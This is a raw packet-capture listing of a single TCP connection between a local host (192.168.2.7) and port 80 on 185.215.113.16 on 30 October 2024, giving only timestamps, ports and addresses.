Oct 30, 2024 11:45:30.524668932 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.524672031 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.524696112 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.524705887 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.524705887 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.524719000 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.524729967 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.524743080 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.524744987 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.524753094 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.524758101 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.524766922 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.524780035 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.524804115 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.524863005 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.524928093 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.524939060 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.524971008 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.524972916 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.525010109 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.525046110 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.555578947 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.555602074 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.555649996 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.555666924 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.555677891 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.555716038 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.596790075 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.596805096 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.596817017 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.596864939 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.596894979 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.597610950 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.597620964 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.597634077 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.597660065 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.597693920 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.597707987 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.597718954 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.597733021 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.597750902 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.613728046 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.613756895 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.613770962 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.613781929 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.613795042 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.613806963 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.613806963 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.613820076 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.613836050 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.613836050 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.613850117 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.613852024 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.613858938 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.613873959 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.613878965 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.613909960 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.613975048 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.614007950 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.614015102 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.614022017 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.614034891 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.614047050 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.614058018 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.614063978 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.614073038 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.614080906 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.614084005 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.614097118 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.614108086 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.614130020 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.641344070 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.641360998 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.641371965 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.641383886 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.641396046 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.641397953 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.641408920 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.641416073 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.641422987 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.641434908 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.641447067 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.641500950 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.641700983 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.641769886 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.641781092 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.641799927 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.641809940 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.641827106 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.641832113 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.641838074 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.641838074 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.641844988 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.641854048 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.641860962 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.641871929 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.641881943 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.641885042 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.641897917 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.641910076 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.641915083 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.641931057 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.672372103 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.672399998 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.672410965 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.672439098 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.672466993 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.672473907 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.672487974 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.672498941 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.672528028 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.713702917 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.713726997 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.713740110 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.713782072 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.713807106 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.714283943 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.714330912 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.714343071 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.714368105 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.714390993 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.714402914 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.714415073 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.714422941 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.714448929 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.730314016 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.730339050 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.730350971 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.730375051 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.730422020 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.730432987 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.730463028 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.730909109 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.730921984 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.730935097 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.730947018 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.730952978 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.730964899 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.730971098 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.730978966 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.730997086 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.730998993 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.731015921 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.731034994 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.731045961 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.731053114 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.731059074 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.731070042 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.731076002 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.731081009 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.731087923 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.731106997 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.731118917 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.731131077 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.731137991 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.731143951 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.731158972 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.731178999 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.731211901 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.731239080 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.731268883 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.758193016 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.758215904 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.758229017 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.758241892 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.758284092 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.758311033 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.758313894 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.758327007 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.758338928 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.758357048 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.758368969 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.758371115 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.758382082 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.758402109 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.758428097 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.758490086 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.758574963 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.758586884 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.758604050 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.758610010 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.758635998 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.758930922 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.759005070 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.759015083 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.759027004 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.759041071 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.759056091 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.759066105 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.759166956 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.759206057 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.789352894 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.789366007 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.789376974 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.789439917 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.789450884 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.789459944 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.789462090 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.789473057 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.789499998 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.830447912 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.830495119 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.830506086 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.830537081 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.831167936 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.831177950 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.831190109 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.831209898 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.831216097 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.831224918 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.831232071 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.831239939 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.831252098 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.831257105 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.831294060 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.847193956 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.847253084 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.847263098 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.847274065 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.847292900 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.847327948 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.847798109 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.847845078 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.847856998 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.847881079 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.847897053 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.847908020 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.847934961 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.847940922 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.847953081 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.847964048 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.847974062 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.847985029 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.847990036 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.848002911 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.848006010 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.848032951 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.848205090 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.848216057 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.848227978 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.848241091 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.848242998 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.848263025 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.848395109 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.848407030 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.848418951 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.848428965 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.848433971 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.848442078 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.848453999 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.848479033 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.875000000 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.875021935 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.875041962 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.875052929 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.875065088 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.875065088 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.875077963 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.875098944 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.875108004 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.875139952 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.875152111 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.875164032 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.875175953 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.875186920 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.875205040 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.875359058 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.875370979 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.875381947 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.875397921 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.875427008 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.875438929 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.875464916 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.875608921 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.875627995 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.875643015 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.875646114 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.875679970 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.875730038 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.875741959 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.875755072 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.875765085 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.875775099 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.875797987 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.906188011 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.906203985 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.906244040 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.906263113 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.906353951 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.906364918 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.906382084 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.906390905 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.906441927 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.906441927 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.947448015 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.947462082 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.947473049 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.947496891 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.947515965 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.948056936 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.948107958 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.948117971 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.948129892 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.948147058 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.948162079 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.948327065 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.948340893 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.948358059 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.948384047 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.964106083 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.964117050 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.964128971 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.964140892 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.964157104 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.964178085 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.964524031 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.964534998 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.964545965 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.964570999 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.964580059 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.964595079 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.964607000 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.964617968 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.964641094 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.964764118 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.964785099 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.964796066 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.964801073 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.964827061 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.964828968 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.964870930 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.964883089 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.964911938 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.964991093 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.965018988 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.965030909 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.965039015 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.965065002 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:30.965099096 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:30.965110064 CET	80	49758	185.215.113.16	192.168.2.7
